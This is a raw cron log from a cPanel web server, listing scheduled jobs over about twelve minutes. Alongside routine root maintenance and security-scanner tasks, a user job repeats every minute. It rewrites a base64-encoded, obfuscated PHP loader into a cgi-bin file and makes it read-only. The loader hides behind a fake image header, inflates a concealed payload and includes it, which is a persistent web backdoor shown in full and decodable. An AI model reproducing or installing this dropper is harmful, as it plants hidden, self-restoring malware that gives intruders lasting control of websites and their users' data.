Aug 31 05:38:02 server CROND[711]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:39:01 server CROND[1253]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:39:01 server CROND[1254]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 05:39:01 server CROND[1255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:39:01 server CROND[1260]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:40:01 server CROND[1716]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 05:40:01 server CROND[1719]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:40:01 server CROND[1721]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:40:01 server CROND[1724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:40:01 server CROND[1723]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 05:40:01 server CROND[1725]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 05:40:01 server CROND[1720]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 05:40:01 server CROND[1722]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 05:41:01 server CROND[2738]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:41:01 server CROND[2739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:41:01 server CROND[2740]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:42:01 server CROND[3115]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 05:42:01 server CROND[3116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:42:01 server CROND[3117]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:42:01 server CROND[3114]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:43:01 server CROND[3576]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:43:01 server CROND[3577]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:43:01 server CROND[3578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:44:01 server CROND[3941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:44:01 server CROND[3943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:44:01 server CROND[3942]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:45:01 server CROND[4340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:45:01 server CROND[4341]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 05:45:01 server CROND[4342]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 05:45:01 server CROND[4344]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 05:45:01 server CROND[4347]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:45:01 server CROND[4343]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 05:45:01 server CROND[4345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:46:01 server CROND[5161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:46:01 server CROND[5162]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:46:01 server CROND[5163]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:47:01 server CROND[5534]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:47:01 server CROND[5536]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:47:01 server CROND[5535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:48:01 server CROND[6002]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:48:01 server CROND[6004]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:48:01 server CROND[6003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:49:02 server CROND[6381]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:49:02 server CROND[6383]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:49:02 server CROND[6382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:50:01 server CROND[6779]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 05:50:01 server CROND[6780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:50:01 server CROND[6786]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:50:01 server CROND[6787]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
